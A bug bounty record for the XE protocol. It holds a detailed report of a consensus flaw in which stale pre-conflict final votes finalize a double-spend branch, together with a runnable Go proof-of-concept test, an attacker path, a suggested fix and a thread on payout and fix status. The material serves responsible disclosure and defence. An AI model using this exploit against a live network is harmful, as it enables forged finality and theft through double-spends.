{"id":"XE-0070","kind":"bounty","visibility":"public","source":"github","source_repo":"xeprotocol/xe","source_ref":"95","source_url":"https://github.com/xeprotocol/xe/issues/95","reporter_id":27,"title":"[High] Pre-conflict FINAL votes are counted at stale receipt-time weight against the conflict snapshot total","area":"consensus","claimed_tier":"high","assessed_tier":null,"verdict":null,"duplicate_of":null,"tracked":true,"internal_ref":"","internal_url":null,"status":"accepted","closed_reason":null,"github_state":"open","disclosed_at":null,"award_xe":null,"award_approved":false,"paid_ref":"","created_at":"2026-10-29T13:57:20.108046+00:00","updated_at":"2026-11-10T00:11:35.351245+00:00","source_created_at":"2026-10-27T05:54:04+00:00","told_at":"2026-11-05T22:12:03+00:00","status_changed_at":"2026-10-29T14:04:12.894025+00:00","url":"https://bounty.xe.network/XE-0070","body":"# [High] Pre-conflict FINAL votes are counted at stale receipt-time weight against the conflict snapshot total\n\n**Suggested severity tier: High (10,000 XE, per the test.network bounty table)**\n**CWE:** CWE-863 (Incorrect Authorization — finality authorized on stale weight); secondary CWE-754\n**CVSS 3.1:** 5.9 Medium — `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:L` (CVSS understates quorum-bar bypasses: the tier reflects the violated safety property — finality without current quorum — not the CVSS number.)\n**Repo pin:** `xeprotocol/xe` master @ `9787859`, `core/vote.go`, `core/quorum.go`, `core/ledger.go`\n**Status:** Confirmed by runnable local PoC below. Not a duplicate of any open issue checked (see Duplication check).\n\n## Summary\n\nA representative's FINAL vote is accepted and stored even when no conflict exists for that position, and it is stamped with the representative's LIVE weight at receipt time. When the conflict is later created, the ledger snapshots weights — but stored votes are never re-weighted, and `finalTally` never revalidates them. So a representative can final-vote a branch while holding large weight, shed ALL of that weight, and still single-handedly clear the 67% bar, because the bar is measured against the shrunken snapshot total while the numerator still carries the old weight. The finalized branch can therefore be one that NO current weight-holder voted for.\n\nThe attacker never needs 67% at any moment. The break-even is ~40.1% of the pre-shed total: stale vote W finalizes iff W >= 0.67 x (T - W), i.e. W >= 0.4012 x T (plus any honest final votes for the same branch lower the requirement further).\n\n## Impact (measured, not narrated)\n\nPoC numbers (micro-XE units; genesis rep holds 42e12 on every node):\n\n| Step | State |\n|---|---|\n| Setup | repA = 100e12, repB = 40e12, genesis = 42e12, total = 182e12 |\n| (1) Pre-conflict FINAL vote for v2 by repA | Stored at weight **100e12 = 54.9%** of live total -> does NOT finalize (correct) |\n| (2) Shed: repA's delegator sends its whole balance away | repA current weight = **0**, live total = 82e12 |\n| (3) Fork publishes: v1 on chain, v2 staged + conflict | Snapshot total = **81e12** (repA absent; victim's v1 spend drops repB 40 -> 39e12) |\n| (4) Tally (the 15 s stale-conflict sweep path) | v2 **FINALIZED**; final height = 2; canonical chain becomes [seed, v2] |\n| Control | Same rep voting AFTER a conflict exists is **rejected** (\"representative has zero vote weight\") and not stored |\n\nConcretely: an attacker controlling a forked account and ~40%+ transient delegated weight can pick the winning branch of a double-spend (same funds sent to two destinations in v1/v2) and have their preferred branch finalized after shedding every unit of weight — i.e. finality authorized by weight the voter no longer holds. If receivers treat \"finalized\" as settlement (docs: spendable counts only finalized, \"irreversible\" funds), the losing branch's spend is simultaneously spendable elsewhere on nodes that finalized v1 first, and the winning branch is irreversible network-wide once the sweep tallies it.\n\n## Root cause (file:line, master @ 9787859)\n\n1. `core/vote.go` `ReceiveVote` / `receiveVoteInner`: no requirement that a conflict exist, and no requirement that the voted block exist. A validly signed, fresh, positive-weight FINAL vote is stored unconditionally (the `isConflictNotFound` branch only applies when validation ALREADY failed, i.e. it gates buffering, not storage).\n2. `core/vote.go:144-145` `receiveVoteInner`: when no conflict record exists, `v.Weight` is overwritten with the LIVE weight (`GetVoteWeight(v.RepAccount())`). There is no \"provisional\" marking.\n3. `core/ledger.go` conflict branch (`isNew`): the snapshot (`WeightSnapshot`, `TotalWeight`) is written onto the conflict record only. No stored vote is ever re-weighted to the snapshot.\n4. `core/quorum.go` `finalTally`: sums STORED `v.Weight` for final votes against the SNAPSHOT `TotalWeight`, with no timestamp recheck and no weight refresh. Numerator and denominator come from different moments.\n5. `core/quorum.go` `sweepStaleConflicts` (15 s ticker) guarantees a tally runs even if no further vote ever arrives, so the attacker does not need to trigger the tally themselves.\n\n## Attacker-first path (all attacker-reachable)\n\n1. Attacker holds rep key A and delegator accounts transiently delegating ~40%+ of total weight to A (own funds; delegation is a normal block field).\n2. Attacker owns (or colludes with the owner of) victim account V and signs two conflicting sends v1, v2 off-line, so v2's hash is known before publication. (Fork blocks must be owner-signed — that is the fork-account precondition, stated plainly.)\n3. Attacker gossips a FINAL vote for v2 (topic `xe/votes`; the gossip validator checks only hex format, 64-byte signature, and ed25519 validity — `net/gossip_validate.go:100-120`). The victim node stores it at live weight. No conflict exists yet, so nothing looks anomalous.\n4. Attacker's delegators send their balances away (weight tracks XE balance, `core/ledger.go:updateDelegation`). Rep A's current weight becomes 0. Total delegated weight shrinks accordingly.\n5. Attacker publishes v1, then v2. v2 stages, the conflict record snapshots the shrunken total (A absent).\n6. Any node's next tally (next vote, or the 15 s sweep) finalizes v2 on the stale vote alone. No current weight-holder voted for v2.\n\n## Preconditions (honest, not minimized)\n\n- Attacker-controlled fork account (fork blocks are owner-signed).\n- ~40.1%+ TRANSIENT delegated weight at pre-vote time (less if honest reps also final-vote the same branch). This is substantial stake, but strictly less than the 67% the protocol claims is necessary, and the stake is transient — it can be withdrawn/moved immediately after the pre-vote.\n- The pre-vote must be gossiped while the rep still holds weight and within the 5-minute vote window at receipt; after receipt it counts indefinitely (no tally-time expiry).\n\n## Why this is not the already-reported findings\n\n- NOT #42 (pickWinner substitution): no substitution happens here. The 67% winner IS v2, and v2 passes full promotion validation (staged send, valid balances). The defect is the numerator/denominator time mismatch, not the choice of winner.\n- NOT #8 (vote malleability / stale prelim replay): no case variants, no prelim votes, no timestamp games on stored votes. The vote is a genuine, fresh, correctly signed FINAL vote by the real rep.\n- NOT #46 (vote-gossip channel fill): no flooding; one vote suffices.\n\n## Duplication check\n\n- GitHub open-issue search for \"snapshot\", \"stale vote\", \"final height\": no issue states pre-conflict vote stamping vs snapshot totals.\n- Issue #61 is a private disclosure (titles only); neither title matches this mechanism, but its contents are uncheckable — flagged here as a residual duplication caveat.\n- The `UN-HEALABLE FORK` code log concerns divergent sibling finalization generally and does not state this mechanism.\n\n## Suggested fix (for the vendor, not applied)\n\n- On conflict creation, re-weight ALL stored votes for that position to the snapshot (and drop votes from reps absent from the snapshot, i.e. weight 0), OR reject/ignore votes received before the conflict record exists for final-tally purposes (count only votes received at/after snapshot time, or re-stamp them at snapshot time).\n- Additionally, revalidate vote freshness at tally time (or expire stored votes), so a vote cannot count indefinitely after its 5-minute window.\n\n## Honest caveats\n\n- PoC runs in-process with MemStore; production nodes use Badger. The flawed logic is store-agnostic (Badger replaces per rep key identically, and the PoC uses only lowercase hex, so it does not rely on the MemStore case-sensitivity issue in #8).\n- Funding in the PoC uses `core.SeedAssetForTesting`, the ledger's own test-only funding entry point, standing in for legitimately held balance + delegation (reachable on a live network via normal sends/receives). Every vote, block, conflict, and tally transition uses production code paths.\n- Not tested against public testnet nodes (local analysis only).\n- XE tier High (not Severe/Critical) reflects the ~40% transient-stake + fork-account preconditions; the safety property violated (finality without current quorum) is what lifts it above the CVSS 5.9.\n\n## Reproduction (numbered)\n\n1. Save the two files below in one directory with the `go.mod` below (module `lanebpoc`, replace `github.com/xeprotocol/xe => <path to your checkout of xeprotocol/xe>`).\n2. `export GOFLAGS=-mod=mod GOPROXY=off` (Go >= 1.25).\n3. `go test -count=1 -v -run TestC1_StalePreConflictFinalVote .`\n4. Expected: PASS, with log lines showing setup total 182e12, stored pre-vote 100e12, post-shed repA weight 0, snapshot total 81e12 with repA absent, \"v2 FINALIZED\", and the control rejection of the post-conflict zero-weight vote.\n\n## Full runnable PoC\n\n```go\n// ---- go.mod ----\nmodule lanebpoc\n\ngo 1.25.0\n\nrequire github.com/xeprotocol/xe v0.0.0\n\nrequire (\n\tgithub.com/cespare/xxhash/v2 v2.3.0 // indirect\n\tgithub.com/decred/dcrd/dcrec/secp256k1/v4 v4.4.0 // indirect\n\tgithub.com/dgraph-io/badger/v4 v4.9.1 // indirect\n\tgithub.com/dgraph-io/ristretto/v2 v2.2.0 // indirect\n\tgithub.com/dustin/go-humanize v1.0.1 // indirect\n\tgithub.com/go-logr/logr v1.4.3 // indirect\n\tgithub.com/go-logr/stdr v1.2.2 // indirect\n\tgithub.com/google/flatbuffers v25.2.10+incompatible // indirect\n\tgithub.com/ipfs/go-cid v0.6.0 // indirect\n\tgithub.com/klauspost/compress v1.18.0 // indirect\n\tgithub.com/klauspost/cpuid/v2 v2.3.0 // indirect\n\tgithub.com/libp2p/go-buffer-pool v0.1.0 // indirect\n\tgithub.com/libp2p/go-libp2p v0.47.0 // indirect\n\tgithub.com/mr-tron/base58 v1.2.0 // indirect\n\tgithub.com/multiformats/go-base32 v0.1.0 // indirect\n\tgithub.com/multiformats/go-base36 v0.2.0 // indirect\n\tgithub.com/multiformats/go-multiaddr v0.16.1 // indirect\n\tgithub.com/multiformats/go-multibase v0.2.0 // indirect\n\tgithub.com/multiformats/go-multicodec v0.10.0 // indirect\n\tgithub.com/multiformats/go-multihash v0.2.3 // indirect\n\tgithub.com/multiformats/go-multistream v0.6.1 // indirect\n\tgithub.com/multiformats/go-varint v0.1.0 // indirect\n\tgithub.com/spaolacci/murmur3 v1.1.0 // indirect\n\tgo.opentelemetry.io/auto/sdk v1.2.1 // indirect\n\tgo.opentelemetry.io/otel v1.40.0 // indirect\n\tgo.opentelemetry.io/otel/metric v1.40.0 // indirect\n\tgo.opentelemetry.io/otel/trace v1.40.0 // indirect\n\tgolang.org/x/crypto v0.47.0 // indirect\n\tgolang.org/x/exp v0.0.0-20260112195511-716be5621a96 // indirect\n\tgolang.org/x/net v0.49.0 // indirect\n\tgolang.org/x/sys v0.42.0 // indirect\n\tgolang.org/x/text v0.33.0 // indirect\n\tgoogle.golang.org/protobuf v1.36.11 // indirect\n\tlukechampine.com/blake3 v1.4.1 // indirect\n)\n\nreplace github.com/xeprotocol/xe => ../../../xe-repo\n```\n\n```go\n// ---- harness_test.go ----\n// Package lanebpoc_test holds the Lane B (consensus/finality/voting) PoCs for XE.\n//\n// The helpers below use only the ledger's own exported entry points.\n// Funding uses core.SeedAssetForTesting, the ledger's own test-only funding\n// entry point (NOT reachable from gossip or the API); every vote, block and\n// conflict transition under test goes through the production paths\n// (VoteManager.ReceiveVote, Ledger.AddBlock, QuorumManager.Retally).\n// Vote signing replicates the public wire format from core/encoding.go\n// (version byte 0x02 || rep || blockHash || account || prev || timestampBE\n// || finalByte), exactly as an independent peer implementation would.\npackage lanebpoc_test\n\nimport (\n\t\"bytes\"\n\t\"crypto/ed25519\"\n\t\"encoding/binary\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"testing\"\n\n\t\"github.com/xeprotocol/xe/core\"\n\t\"github.com/xeprotocol/xe/store\"\n)\n\ntype node struct {\n\tl  *core.Ledger\n\tms *store.MemStore\n\tvm *core.VoteManager\n\tqm *core.QuorumManager\n}\n\nfunc newNode(t *testing.T) *node {\n\tt.Helper()\n\tcore.SetNetworkID(\"\")\n\tms := store.NewMemStore()\n\tl := core.NewLedger(ms, core.LedgerConfig{Difficulty: 0, TimestampWindow: 0})\n\tvm := core.NewVoteManager(ms, nil, l)\n\tqm := core.NewQuorumManager(ms, ms, ms, l)\n\tvm.SetQuorumManager(qm)\n\treturn &node{l: l, ms: ms, vm: vm, qm: qm}\n}\n\nfunc mustKey(t *testing.T) *core.KeyPair {\n\tt.Helper()\n\tkp, err := core.GenerateKeyPair()\n\tif err != nil {\n\t\tt.Fatalf(\"keygen: %v\", err)\n\t}\n\treturn kp\n}\n\n// fund opens a new account with a signed mint block (test-only funding) and\n// delegates its whole XE balance to repAddr. fundAt pins the timestamp so\n// identical funding on two nodes yields identical block hashes.\nfunc fund(t *testing.T, l *core.Ledger, kp *core.KeyPair, amount uint64, repAddr string) *core.Block {\n\tt.Helper()\n\treturn fundAt(t, l, kp, amount, repAddr, core.Now().UnixNano())\n}\n\nfunc fundAt(t *testing.T, l *core.Ledger, kp *core.KeyPair, amount uint64, repAddr string, ts int64) *core.Block {\n\tt.Helper()\n\tb := &core.Block{\n\t\tType:           core.BlockMint,\n\t\tAccount:        kp.Address(),\n\t\tPrevious:       \"0\",\n\t\tBalance:        amount,\n\t\tAmount:         amount,\n\t\tTimestamp:      ts,\n\t\tAsset:          \"XE\",\n\t\tPubKey:         kp.PubKeyHex(),\n\t\tRepresentative: repAddr,\n\t}\n\tif err := core.SignBlock(b, kp); err != nil {\n\t\tt.Fatalf(\"fund sign: %v\", err)\n\t}\n\tif err := l.SeedAssetForTesting(b); err != nil {\n\t\tt.Fatalf(\"fund %s: %v\", kp.Address()[:12], err)\n\t}\n\treturn b\n}\n\nfunc signSend(t *testing.T, kp *core.KeyPair, previous string, balance, amount uint64, dest string, ts int64) *core.Block {\n\tt.Helper()\n\tb := &core.Block{\n\t\tType:        core.BlockSend,\n\t\tAccount:     kp.Address(),\n\t\tPrevious:    previous,\n\t\tBalance:     balance,\n\t\tAmount:      amount,\n\t\tTimestamp:   ts,\n\t\tAsset:       \"XE\",\n\t\tDestination: dest,\n\t}\n\tif err := core.SignBlock(b, kp); err != nil {\n\t\tt.Fatalf(\"send sign: %v\", err)\n\t}\n\treturn b\n}\n\n// signVote builds a signed vote exactly per the public wire format.\nfunc signVote(t *testing.T, repKp *core.KeyPair, blockHash, account, prev string, final bool) *core.Vote {\n\tt.Helper()\n\trep, err := hex.DecodeString(repKp.PubKeyHex())\n\tif err != nil || len(rep) != 32 {\n\t\tt.Fatalf(\"rep decode: %v\", err)\n\t}\n\tbh, err := hex.DecodeString(blockHash)\n\tif err != nil || len(bh) != 32 {\n\t\tt.Fatalf(\"blockhash decode: %v\", err)\n\t}\n\tacc, err := hex.DecodeString(account)\n\tif err != nil || len(acc) != 32 {\n\t\tt.Fatalf(\"account decode: %v\", err)\n\t}\n\tvar pv []byte\n\tif prev == \"0\" {\n\t\tpv = make([]byte, 32)\n\t} else {\n\t\tpv, err = hex.DecodeString(prev)\n\t\tif err != nil || len(pv) != 32 {\n\t\t\tt.Fatalf(\"prev decode: %v\", err)\n\t\t}\n\t}\n\tv := &core.Vote{\n\t\tRepPubKey:       repKp.PubKeyHex(),\n\t\tBlockHash:       blockHash,\n\t\tConflictAccount: account,\n\t\tConflictPrev:    prev,\n\t\tTimestamp:       core.Now().UnixNano(),\n\t\tFinal:           final,\n\t}\n\tvar buf bytes.Buffer\n\tbuf.WriteByte(0x02)\n\tbuf.Write(rep)\n\tbuf.Write(bh)\n\tbuf.Write(acc)\n\tbuf.Write(pv)\n\tvar ts [8]byte\n\tbinary.BigEndian.PutUint64(ts[:], uint64(v.Timestamp))\n\tbuf.Write(ts[:])\n\tif final {\n\t\tbuf.WriteByte(1)\n\t} else {\n\t\tbuf.WriteByte(0)\n\t}\n\tv.Signature = ed25519.Sign(repKp.Private, buf.Bytes())\n\treturn v\n}\n\nfunc recvFinal(t *testing.T, n *node, repKp *core.KeyPair, blockHash, account, prev string) {\n\tt.Helper()\n\tif err := n.vm.ReceiveVote(signVote(t, repKp, blockHash, account, prev, true)); err != nil {\n\t\tt.Fatalf(\"ReceiveVote final %s: %v\", blockHash[:12], err)\n\t}\n}\n\nfunc weight(t *testing.T, l *core.Ledger, addr string) uint64 {\n\tt.Helper()\n\tw := l.GetVoteWeight(addr)\n\tif !w.IsUint64() {\n\t\tt.Fatalf(\"weight %s does not fit uint64: %s\", addr[:12], w.String())\n\t}\n\treturn w.Uint64()\n}\n\nfunc mustChain(t *testing.T, l *core.Ledger, account string) []*core.Block {\n\tt.Helper()\n\tch := l.GetChain(account)\n\tif ch == nil {\n\t\tt.Fatalf(\"no chain for %s\", account[:12])\n\t}\n\treturn ch\n}\n\nfunc fmtXE(u uint64) string { return fmt.Sprintf(\"%d\", u) }\n```\n\n```go\n// ---- C1 test ----\nfunc TestC1_StalePreConflictFinalVote(t *testing.T) {\n\tn := newNode(t)\n\tl, ms, vm, qm := n.l, n.ms, n.vm, n.qm\n\n\trepA, repB := mustKey(t), mustKey(t)\n\taddrA, addrB := repA.Address(), repB.Address()\n\tdA := mustKey(t) // attacker delegator\n\tdB := mustKey(t) // honest delegator\n\tv := mustKey(t)  // victim/fork account (colluding or attacker-owned)\n\tsink := mustKey(t)\n\n\tseedDA := fund(t, l, dA, 100_000_000_000_000, addrA)\n\tfund(t, l, dB, 30_000_000_000_000, addrB)\n\tseedV := fund(t, l, v, 10_000_000_000_000, addrB)\n\tts := core.Now().UnixNano() + 1_000_000\n\n\tif got := weight(t, l, addrA); got != 100_000_000_000_000 {\n\t\tt.Fatalf(\"setup: repA weight = %s, want 100e12\", fmtXE(got))\n\t}\n\ttotal0 := l.GetTotalDelegatedWeight()\n\tt.Logf(\"setup: total=%s A=%s B=%s\", total0.String(), fmtXE(weight(t, l, addrA)), fmtXE(weight(t, l, addrB)))\n\n\t// The two conflicting sends. V2 is signed offline now, so its hash is\n\t// known BEFORE either block is published (the attacker pre-vote).\n\tv1 := signSend(t, v, seedV.Hash, 9_000_000_000_000, 1_000_000_000_000, mustKey(t).Address(), ts)\n\tv2 := signSend(t, v, seedV.Hash, 9_000_000_000_000, 1_000_000_000_000, mustKey(t).Address(), ts)\n\tif v1.Hash == v2.Hash {\n\t\tt.Fatalf(\"setup: fork hashes collided\")\n\t}\n\n\t// (1) PRE-CONFLICT final vote from repA for v2. No conflict exists yet.\n\tif err := vm.ReceiveVote(signVote(t, repA, v2.Hash, v.Address(), seedV.Hash, true)); err != nil {\n\t\tt.Fatalf(\"pre-conflict ReceiveVote: %v\", err)\n\t}\n\tstored, err := ms.GetVote(v.Address(), seedV.Hash, repA.PubKeyHex())\n\tif err != nil || stored == nil {\n\t\tt.Fatalf(\"pre-conflict vote was not stored: %v\", err)\n\t}\n\tif stored.Weight != 100_000_000_000_000 || !stored.Final {\n\t\tt.Fatalf(\"stored pre-vote: weight=%d final=%v, want 100e12/true\", stored.Weight, stored.Final)\n\t}\n\tif l.IsFinalized(v.Address(), v2.Hash) {\n\t\tt.Fatalf(\"v2 finalized before conflict even exists\")\n\t}\n\tt.Logf(\"step1: pre-conflict final vote stored at live weight %s (54.9%% of live total, no finalize)\", fmtXE(stored.Weight))\n\n\t// (2) SHED: dA sends its entire balance away. Weight tracks XE balance.\n\tshed := signSend(t, dA, seedDA.Hash, 0, 100_000_000_000_000, sink.Address(), ts)\n\tif err := l.AddBlock(shed); err != nil {\n\t\tt.Fatalf(\"shed send: %v\", err)\n\t}\n\tif got := weight(t, l, addrA); got != 0 {\n\t\tt.Fatalf(\"after shed: repA weight = %s, want 0\", fmtXE(got))\n\t}\n\tt.Logf(\"step2: repA current weight is now 0, live total=%s\", l.GetTotalDelegatedWeight().String())\n\n\t// (3) FORK publishes: v1 on chain, v2 staged + conflict record.\n\tif err := l.AddBlock(v1); err != nil {\n\t\tt.Fatalf(\"add v1: %v\", err)\n\t}\n\tif err := l.AddBlock(v2); err != nil {\n\t\tt.Fatalf(\"add v2 (conflict): %v\", err)\n\t}\n\tc := l.GetConflict(v.Address(), seedV.Hash)\n\tif c == nil {\n\t\tt.Fatalf(\"no conflict record after v2\")\n\t}\n\t// 81e12 = genesis 42e12 + repB 39e12 (victim spent 1e12 in v1, which was\n\t// appended before v2 created the conflict, so B's weight fell 40->39).\n\tif c.TotalWeight != 81_000_000_000_000 {\n\t\tt.Fatalf(\"snapshot total = %s, want 81e12 (repA excluded)\", fmtXE(c.TotalWeight))\n\t}\n\tif _, ok := c.WeightSnapshot[addrA]; ok {\n\t\tt.Fatalf(\"snapshot still contains repA\")\n\t}\n\tif l.GetBlockOrStaged(v2.Hash) == nil {\n\t\tt.Fatalf(\"v2 not staged\")\n\t}\n\tt.Logf(\"step3: conflict snapshot total=%s, repA absent from snapshot\", fmtXE(c.TotalWeight))\n\n\t// Votes on file just before the tally: ONLY the stale repA vote.\n\tbefore, _ := ms.GetVotesByConflict(v.Address(), seedV.Hash)\n\tif len(before) != 1 || before[0].RepPubKey != repA.PubKeyHex() || !before[0].Final {\n\t\tt.Fatalf(\"votes before tally: %d (want exactly the stale repA final vote)\", len(before))\n\t}\n\n\t// (4) TALLY (what the 15s stale-conflict sweep does on every node).\n\tqm.Retally(v.Address(), seedV.Hash)\n\tif !l.IsFinalized(v.Address(), v2.Hash) {\n\t\tt.Fatalf(\"V2 NOT finalized: stale vote did not clear the bar\")\n\t}\n\tch := mustChain(t, l, v.Address())\n\tif len(ch) < 2 || ch[1].Hash != v2.Hash {\n\t\tt.Fatalf(\"canonical chain after tally: len=%d second=%v, want v2\", len(ch), func() string {\n\t\t\tif len(ch) >= 2 {\n\t\t\t\treturn ch[1].Hash[:12]\n\t\t\t}\n\t\t\treturn \"<none>\"\n\t\t}())\n\t}\n\tif got := l.FinalHeight(v.Address()); got != 2 {\n\t\tt.Fatalf(\"final height = %d, want 2\", got)\n\t}\n\tt.Logf(\"RESULT C1: v2 FINALIZED with repA at 0 current weight; 67%% bar cleared by a vote stamped at 100e12 against an 81e12 snapshot total\")\n\n\t// CONTROL: the same rep voting AFTER a conflict exists is rejected\n\t// outright (zero live weight), proving the asymmetry is the pre-conflict\n\t// stamping, not the vote itself.\n\tw := mustKey(t)\n\tseedW := fund(t, l, w, 10_000_000_000_000, addrB)\n\tts2 := core.Now().UnixNano() + 1_000_000\n\tw1 := signSend(t, w, seedW.Hash, 9_000_000_000_000, 1_000_000_000_000, mustKey(t).Address(), ts2)\n\tw2 := signSend(t, w, seedW.Hash, 9_000_000_000_000, 1_000_000_000_000, mustKey(t).Address(), ts2)\n\tif err := l.AddBlock(w1); err != nil {\n\t\tt.Fatalf(\"control add w1: %v\", err)\n\t}\n\tif err := l.AddBlock(w2); err != nil {\n\t\tt.Fatalf(\"control add w2: %v\", err)\n\t}\n\terr = vm.ReceiveVote(signVote(t, repA, w2.Hash, w.Address(), seedW.Hash, true))\n\tif err == nil {\n\t\tt.Fatalf(\"control: post-conflict zero-weight final vote was ACCEPTED (expected rejection)\")\n\t}\n\tif got, _ := ms.GetVote(w.Address(), seedW.Hash, repA.PubKeyHex()); got != nil {\n\t\tt.Fatalf(\"control: post-conflict zero-weight vote was stored\")\n\t}\n\tt.Logf(\"CONTROL: post-conflict repA final vote rejected (%v); pre-conflict vote kept its 100e12 stamp\", err)\n}\n\n// TestC2_DescendantFinalizationDivergence — LANE B FINDING B-02.\n//\n// Mechanism: finality is a per-account HEIGHT watermark (FinalHeight), not a\n// per-position hash commitment. QuorumManager.confirmConflict advances the\n// watermark to the winner's height, so finalizing an UNCONTESTED descendant\n// implicitly finalizes every ancestor — including an ancestor whose own\n// position election is still open or resolved differently elsewhere.\n// Meanwhile a node that saw the ancestor challenger first finalizes the\n// challenger through the normal per-position quorum. Neither node\n// double-voted at any single position: the reps' final votes on node 1 are\n// for position (v, A4) [uncontested descendant A5], on node 2 for position\n// (v, seed) [challenger B4, lowest hash]. Result: two honest nodes finalize\n// DIFFERENT blocks at the same (account, previous), and each rejects the\n// other's branch forever (the codebase logs this as \"UN-HEALABLE FORK\").\n//\n// Preconditions are ordinary, not Byzantine-supermajority: arrival-order\n// divergence (node 1 finalizes the descendant before the challenger\n// arrives; node 2 sees the challenger first). No rep equivocates at any one\n// position, and no weight threshold is violated at any one position.\n```\n\n## Reward caveat (from the programme itself)\n\nRewards are DISCRETIONARY, paid in native XE AT mainnet genesis, contingent on launch (if and when it happens); XE has no guaranteed monetary value. No dollar value is claimed for this report.\n\nPayout address (XE): to be provided upon acceptance — please advise the preferred format.\n","patch_refs":[{"id":126,"repo":"xeprotocol/xe","kind":"pr","ref":"107","title":"fix(core): re-weight votes to conflict snapshot and prevent stale pre-conflict finalization (#95)","url":"https://github.com/xeprotocol/xe/pull/107","note":"","state":"open","author":"arturbarszcz78","added_by":"desk","created_at":"2026-10-29T13:57:30.091343+00:00"}],"thread":[{"id":442,"source":"github","source_ref":"6670883290","author":"Joseph Denne","team":true,"body":"Thanks for the reports. To pay out we need an XE payout address in the report itself: please edit the issue body to add a line \"Payout address: xe_...\" and say here when it is done. The desk entry is https://bounty.xe.network/XE-0070.","created_at":"2026-11-05T22:12:03+00:00"},{"id":533,"source":"github","source_ref":"6671598259","author":"CoderMisaki","team":false,"body":"Done — payout address added to the issue body above. Thanks!","created_at":"2026-11-05T22:50:30+00:00"},{"id":8949,"source":"github","source_ref":"6932268065","author":"Alfonova-Node","team":false,"body":"Status check at HEAD 89a542e (testnet-0005): the fix claimed from PR #107 is not present. PR #107 itself is still open/unmerged on GitHub. At this HEAD, finalTally (core/quorum.go:103) and convergeWeights (core/finalization.go:335) still sum stored v.Weight directly with no WeightSnapshot lookup, OnConflict (core/vote.go:71) does not re-weight stored votes, ValidateVote (core/vote.go:225) has no snapshot-zero rejection, and the regression test core/preconflict_vote_test.go does not exist. Only the incoming-vote snapshot weighting in receiveVoteInner (core/vote.go:144-145) is present, which does not repair already-stored pre-conflict votes. Requesting the ticket stay open until the PR (or an equivalent fix) lands at HEAD.","created_at":"2026-11-16T23:15:33+00:00"}]}